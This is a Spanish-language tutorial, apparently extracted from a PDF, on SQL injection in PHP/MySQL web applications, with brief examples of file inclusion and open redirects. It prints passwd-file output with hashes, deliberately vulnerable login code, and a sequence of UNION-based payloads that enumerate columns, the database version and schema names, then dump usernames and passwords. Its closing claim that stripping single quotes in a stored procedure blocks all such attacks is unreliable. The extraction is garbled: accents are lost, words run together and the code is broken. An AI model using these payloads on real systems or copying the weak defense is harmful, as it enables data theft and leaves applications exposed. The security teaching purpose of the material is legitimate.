  • En este caso, el servidor de la aplicacin generara de la siguiente informacin:HTTP/1.0 200 OK

    Content-Type: tex t/htmlServer: Apache

    root:fi3sED95ibqR6:0:1:System Operator:/:/bin/kshdaemon:*:1:1::/tmp:

    php:f9fk3f3FEf31.:182:100:Developer:/home/users/php/:/bin/cshLas siguientes funciones de PHP merecen una atencin especial, cuando se realiza larevisin del cdigo: include(), include_once(), require(), require_once(), fopen() yreadfile().Otro ejemplo de aplicacin vulnerable es cuando URLs "escondidas" y "especiales" semuestran en la capa de aplicacin slo para administradores y usuarios privilegiados,sin embargo es accesible a todos los usuarios que tengan el conocimiento de la URL.Un ejemplo es cuando la aplicacin permite acceso a archivos "escondidos" como, porejemplo archivos de configuracin ( ini o .inc) confiando toda seguridad en la ignoranciau oscuridad.

  • EJEMPLOLa aplicacin tiene un script (pgina) llamado redireccionar.php que slo usa unparmetro denominado url_destino. El script tiene como objetivo redireccionar al usuariohacia una determinada pgina dentro o fuera de la aplicacin. Veamos el ejemplo de acontinuacin:

    El atacante, percibiendo este detalle, crear una URL maliciosa apuntando hacia unaWeb (servidor) que, una vez haya accedido, podr inducir a la vctima a realizaroperaciones indeseadas, como podemos ver en el cdigo de abajo:http:/www.web-vulnerable.com/redireccionarphp?url_destino=www.web-maliciosa.com

  • PRLOGOInternet se ha vuelto muy popular en los ltimos aos, y el acceso a los sistemas deinformacin a travs de Internet a los entornos gubernamentales se ha convertido enalgo cotidiano para el pblico en general. Acciones comunes, tales como el intercambiode mensajes (correo electrnico, chat, redes sociales, etc.), el pago de facturas oincluso consultas a las bibliotecas, son ahora predominantemente actividadesrealizadas a travs de sistemas web. Los sistemas de informacin implementados parael acceso a travs de Internet, desarrollados en Hypertex t Preprocessor (PHP) con labase de datos con MySQL que no se preocupan por la seguridad de la transferencia deinformacin, son vulnerables a varios tipos de ataques maliciosos. La mayora de estosataques se realizan a travs del acceso de datos del lenguaje Structured QueryLanguage (SQL), tambin llamado Inyecciones SQL. Este tipo de ataque es el resultadode la necesidad de la construccin dinmica de consultas en el lenguaje deprogramacin para consultar los datos de estos sistemas, junto con prcticas insegurasen el desarrollo de una base de datos.Por lo tanto, es importante plantear las acciones que se pueden aplicar a la base dedatos, en el MYSQL para prevenir ataques de inyeccin SQL.

  • SISTEMA DE GESTIN DE BASE EN MYSQLHoy en da ex isten muchos tipos de base de datos que se utilizan con diferentes tiposde lenguajes de programacin en diferentes tipos de servidores y computadoras, pero sepuede ver a travs de la investigacin y de los estudios, que el sistema de gestin debase de datos (SGBD) MYSQL es el ms utilizado para desarrollar aplicaciones web, yeste tiene caractersticas que facilitan el desarrollo y administracin de los sistemas yde los datos.El hecho de que a menudo no hay un servidor o mquina de gran alcance para su usotambin hace que MySQL sea uno de los ms utilizados en el mundo. MySQL funcionamuy bien en las aplicaciones web, adems de tener un rendimiento en promedio de un30% mejor que sus competidores como Firebird y PostgreSQL y otros. Esmultiplataforma, es decir, puede ser instalado en muchos sistemas operativos diferentes.Debido a que es el SGBD ms utilizado en aplicaciones web, tambin ha sido uno delos que ms han sufrido los ataques de usuarios malintencionados.

  • SQLSQL es el lenguaje estndar para la manipulacin de datos en una base de datosrelacional, y tiene algunas palabras clave para consultar, actualizar, insertar y ex traerdatos de una base de datos relacional, estas son:SELECT: para seleccionar la informacin de una base de datos;NSERT: para introducir informacin en una base de datos;UPDATE: Para actualizar la informacin en una base de datos;DELETE: para eliminar la informacin en una base de datos.Los ataques de inyeccin SQL usan estos estados de las construcciones SQL paraagregar modificaciones que realizan as las operaciones indebidas en los sistemas.

  • DEBILIDADES EN SISTEMAS WEBLas aplicaciones web se construyen a partir de diversas tecnologas, normalmente conun servidor de base de datos, un servidor web y uno o ms lenguajes de programacin,todos los cuales se pueden ejecutar en uno o ms sistemas operativos, al mismotiempo o no. Ex isten muchos mecanismos desarrollados por los profesionales deseguridad de informacin para prevenir ataques como las polticas de acceso a datos,correcciones de errores a travs de parches, los algoritmos de cifrado, entre muchosotros, pero por otro lado, esto hace que el foco de los atacantes pueda migrar a donde nocaben restricciones ni bloqueos, es decir, las interfaces pblicas de sistemas mediantealguna interaccin entre los formularios de entrada de datos y el usuario.Debido al descuido en las buenas prcticas de programacin relacionadas con laseguridad, muchos sistemas son vulnerables a los ataques, incluyendo al ataque deinyeccin SQL (SQLIA) o un ataque de inyeccin SQL que implica cdigos oinstrucciones SQL que se introducen dentro de una consulta (query) a travs de lamanipulacin de la entrada de una aplicacin. La base de datos y la aplicacin debenestar protegidas para evitar daos a causa de estas instrucciones maliciosas. Con el finde asegurar el desarrollo de aplicaciones y bases de datos, es necesario entender cmose estructuran estas instrucciones. Un sistema de web puede leer la entrada del usuariode varias maneras diferentes, basado en el entorno que se ha desarrollado la aplicacin.En la mayora de los casos, el SQLIA viene en los envos de formularios que se envanal sistema web a travs de HTTP GET o POST. Los sistemas web acceden a los datosde entrada del usuario y logran acceder a cualquier otra variable de entorno.

  • IDENTIFICAR POSIBLES ATAQUESEs posible identificar las vulnerabilidades de los sistemas alojados en la web, dondedespus de dicha verificacin es posible identificar la posibilidad de las dos principalesformas de ataque de inyeccin: La inyeccin a travs del formulario (rellenar los camposde usuario y contrasea con el cdigo malicioso) o La inyeccin a travs de URL(cdigo malicioso incrustado en la URL hacia la pgina visitada).Al introducir los cdigos por el formulario, el atacante tiene acceso a la zona restringidade la pgina como un administrador (normalmente el usuario administrador administrator - es el primer usuario de la tabla de usuarios de la base de datos del sitio ytiene todos los permisos). Al acceder al sistema como administrador, el atacante tieneacceso a los datos confidenciales, por lo que puede utilizar estos datos de la maneraque desee.Si el ataque es por URL el atacante utiliza cdigos maliciosos en la URL de acceso alsistema para encontrar la informacin contenida en la base de datos, por lo tanto, laconsecucin de ambos descubren los datos sensibles de los usuarios, as como tablaso la destruccin de datos importantes. Para encontrar los datos como nombres deusuario y contraseas de acceso, se puede acceder al sistema como administrador ycambiar, eliminar o robar informacin importante.

  • UN PROTOTIPO PARA EXPERIMENTAREl prototipo fue desarrollado en el lenguaje de programacin PHP para demostrar lasfuncionalidades, vulnerabilidad y prevenciones recurrentes del desarrollo de un sistemaweb, en el prototipo observaremos cmo es posible manipular datos y retornarinformaciones de la base de datos MYSQL a travs de cdigos maliciosos de inyeccinde SQL que se ejecutarn a partir de formularios y Uniform Resource Locator (URL). En elex perimento veremos el funcionamiento del sistema y sus vulnerabilidades, yposteriormente las prevenciones adecuadas para proteger la base de datos.

  • //Consulta a la base de datos para validar los datos procesados$query = mysql_query("SELECT * FROM Usuario WHERE login_usuario = '".$login."'AND contrasenia_usuario = '".$contrasenia."';");

    //verificar si el resultado de la query fue encontrado

    $resultQuery = mysql_fetch_array($query); //Si fuera encontrado en la table el resultado, retorna verdadero

    y acepta la entrada del usuario.if(mysql_num_rows($query) >= 1){

    echo "USTED YA SE HA LOGUEADO!"; echo"Usuario:" $resultQuery[nombre_usuario']."< /h3>";

    echo ""; echo "

    Haga Clic para entrar en la pgina de productos";

    //si es falso, se mostrar un mensaje de error y la entrada no estar permitida}else{ echo "ERROR AL NTENTAR LOGUEARSE";

    }?>

    El momento de validacin de los datos que estn en procesamiento en el cdigo serefiere la consulta SQL que est embutida en el cdigo:SELECT * FROM Usuario WHERE login_usuario = '" $login."' AND contrasenia_usuario='" $contrasenia."';En esta consulta a la base de datos MYSQL, se solicita la seleccin del registro de latabla Usuario donde el campo login_usuario es igual a la variable de PHP $login, y seintroduce en la caja de tex to Usuario de la pantalla que hemos visto en la Figura 1, y elcampo contrasenia_usuario es igual a la variable de PHP $contrasenia, la cual tambinse introduce en la caja de tex to Contrasenia, tambin representada en la Figura 1. Si la consulta SQL devuelve un valor vlido referente al registro encontrado en la tablaUsuario ser permitido el acceso al sistema, de lo contrario se le devolver al usuario unmensaje de error y el acceso no estar autorizado.Esta consulta SQL embebida en el cdigo de procesamiento de los datos evidencia unavulnerabilidad del sistema, ya que los cdigos maliciosos de inyeccin de SQL se

  • Agrupacin de Comandos SQL va url

    Las diversas formas de ataque estn relacionadas principalmente a los formularios deconsulta de datos o credenciales, considerando este pensamiento es muy habitual, sedeja de lado otro factor muy importante para la proteccin de los datos e informaciones,que estn contenidas en nuestra base de datos relacionada con la aplicacin web, sonlas agrupaciones de comandos SQL va url.La inyeccin de SQL va url, llamada as entre los investigadores y profesionales delrea de tecnologa de la informacin, es una prctica comn y peligrosa. Muchosdesarrolladores olvidan algunas normas de seguridad y dejan algunas informaciones delas consultas a la base de datos ex plcitas en sus pasos de parmetros de una pginahacia otra por ejemplo, o mismo cuando sus funcionalidades necesitan de algn retornopara parametrizar alguna consulta o procesamiento.Ex isten dos mtodos para la transferencia de datos entre los cdigos de un sistemaweb, el GET y el POST. Se sabe que el GET, a pesar de tener una vulnerabilidad deseguridad es considerado el mtodo estndar de muchas plataformas.En una aplicacin web que utilice PHP, los datos transferidos por GET se pasan comoparmetros va url como podemos ver en la siguiente representacin:http://www.dominio.com/[nombre_pagina].php?[nombre_variable]=[valor]El trozo de cdigo despus del carcter ? muestra una variable con su valor, esosignifica que el valor que fue consultado en la base de datos est ex plcito en la URL,entonces a partir de ese punto vulnerable, podemos retornar informaciones y datos de labase de datos con la agrupacin de comandos SQL.Considerando la siguiente URL, que se refiere a una pgina que es responsable pormostrar los detalles de un producto:http://www.dominio.com/detalles.php?producto_id = 158Este sistema web probablemente tendr un cdigo PHP que recibir un valor en unavariable, como el siguiente:$id = $_GET[ id ];Ese valor ser pasado hacia otra variable, en esta estar contenido el cdigo que serresponsable de la consulta SQL, como por ejemplo:$query = mysql_query(?SELECT * FROM producto WHERE producto_id = $id );La variable $query recibe el retorno del evento PHP mysql_query(), el cual esresponsable de ejecutar la consulta en el MYSQL. La consulta sugiere que seanseleccionados todos los registros de la tabla producto donde los productos conproducto_id sean iguales al valor de la variable $id. Esa consulta est siendo ejecutadade forma ex plcita en el cdigo, ex poniendo la vulnerabilidad del sistema y poniendo elriesgo de la base de datos, siendo as la puerta de entrada para cdigos de inyeccin deSQL. Con una simple prueba, se realiza la verificacin de la aceptacin de esoscdigos.http://www.dominio.com/detalles.php?producto_id = 1Si se insertan (aspas simple) al final de la url y la pgina retornar un error diciendo: Youhave an error on your SQL syntax ; check the manual that corresponds to your MYSQLserver version for the , significa que este sistema web es vulnerable, siendo as, sigueuna serie de verificaciones para retornar informaciones sobre la base de datos.

  • VERIFICAR COLUMNAS DE UNA TABLAConsiderando la url que hemos visto anteriormente, se agrupar un comando para laverificacin de la cantidad de columnas ex istentes en la tabla. Para eso utilizaremos laclusula SQL llamada ORDER BY.Cuando es necesario clasificar los resultados devueltos en una consulta SQL, se usa laclusula ORDER BY, as es posible especificar cualquier nmero de columnashttp://www.dominio.com/detalles.php?producto_id = 1 ORDER BY 1,2,3,4 (...).Se deben agrupar las columnas en la clusula ORDER BY probando desde 1 hasta n,cuando en n sucede un error, se obtiene la informacin n-1 que se refiere al nmero decolumnas de la tabla consultada, en el caso de que el nmero sea 5, si sucede el error,el valor correspondiente al nmero de columnas que pueden ser usadas por los demscomandos ser 4.

  • VISUALIZAR DATOS CON LA FUNCIN UNIONEste es un punto considerable, ya que a partir de la funcin UNION los ataques son losuficientemente eficaces para retornar datos, conforme a este prototipo, es posibleentonces retornar el conjunto de informaciones de la base de datos con el siguientecdigo:http://www.dominio.com/detalles.php?producto_id =1 UNION ALL SELECT 1,2,3,4

  • LA VERSIN DEL SGBD MYSQLConforme sucede con los lenguajes de programacin y software, con el lanzamiento denuevas versiones, ex isten las mejoras y tambin algunos cambios de sintax is,instancias, etc. Por ello el comando @@version es capaz de informar sobre la versindel sistema gestor de bases de datos, para as usar la sintax is correcta para la versinen uso del sistema webhttp://www.dominio.com/detalles.php?producto_id =1 UNION ALL SELECT 1, 2, 3,@@version

  • COMO OBTENER EL NOMBRE DE LOS SCHEMAS, TABLAS Y COLUMNAS http://www.dominio.com/detalles.php?producto_id =1 UNION ALL SELECT 1, 2, 3,column_name from information_schema.columns

    El comando anterior tiene como finalidad devolver el nombre de las columnas y tablasdel schema principal de la base de datos. Una vez que los privilegios de usuario noestn configurados correctamente, el atacante conseguir retornar los nombre de tablasy columnas y as hacer la seleccin de los datos que necesitar para proseguir con lainyeccin SQL.Para que finalmente sean retornados los datos necesarios para acceder al sistema Weby tambin modificar la base de datos, el atacante har una nueva secuencia decomandos, donde podr obtener los nombres de usuarios, contraseas e informacionesde otras tablas que componen el schema que est siendo atacado. Para retornar losdatos de la tabla usuario, como ejemplo, utilizan los cdigos siguientes, y si lograntener x ito, el atacante conseguir manipular el sistema Web y la base de datos, conlibre acceso y ms intenciones.http://www.dominio.com/detalles.php?producto_id =1 UNION ALL SELECT 1, 2, 3,column_name from information_schema.column WHERE table_name=usuario

    http://www.dominio.com/detalles.php?producto_id =1 UNION ALL SELECT 1, 2, 3,concat(username,0x 8b,password)from admin/*http://www.dominio.com/detalles.php?producto_id=1/**/union/**/all/**/select/**/0x 76,concat_ws(0x 8b,username,password),44/*-

  • AND (usu_contrasenia = REPLACE(v_contrasenia,'\'',''));END$$

    DELIMITER;Es posible observar que ex iste una consulta simple dentro de un objeto de base dedatos, donde en la clusula WHERE se utiliza una funcin llamada REPLACE.REPLACE([variable], [caracter],[caracter sustituto])

    El comando REPLACE usado en el STORED PROCEDURE sustituye las aspassimples por un carcter en blanco, en ese caso, el intento de concatenar un cdigomalicioso en la consulta quedar frustrado, ya que todas las aspas simples necesariaspara la consulta sern sustituidas y, as, nos devolver un mensaje de error.Cuando se utiliza la poltica de seguridad de insertar todas las consultas en STOREDPROCEDURES, la ejecucin se limitar al objeto de la base de datos, es decir, noex iste una consulta directa a la base de datos por parte del sistema Web.En el cdigo de abajo las informaciones deseadas se buscan usando una consultadirecta, no hay ningn objeto entre la consulta y la base de datos, donde es posible verlos puntos de vulnerabilidad.SELECT * FROM Usuario WHERE usu_usuario = '" $login."' AND usu_contrasenia ='" $contrasenia."';

    Cuando se usa un objeto para realizar una consulta, en este caso un STOREDPROCEDURE, se crea un filtro entre la consulta y la base de datos. Como podemosobservar, en la estructura del STORED PROCEDURE, ex iste la consulta, pero lacodificacin de esta no est ex plcita en el cdigo del sistema Web y, as, se realizauna llamada al objeto pasando hacia este los valores de las variables de entrada:CALL TCC_Usuario_SELECT('".$usuario."', " $contrasenia."')Usando este cdigo, tanto los ataques va formularios de credenciales como tambin vaURL quedarn prevenidos, protegiendo as la base de datos y sus informaciones.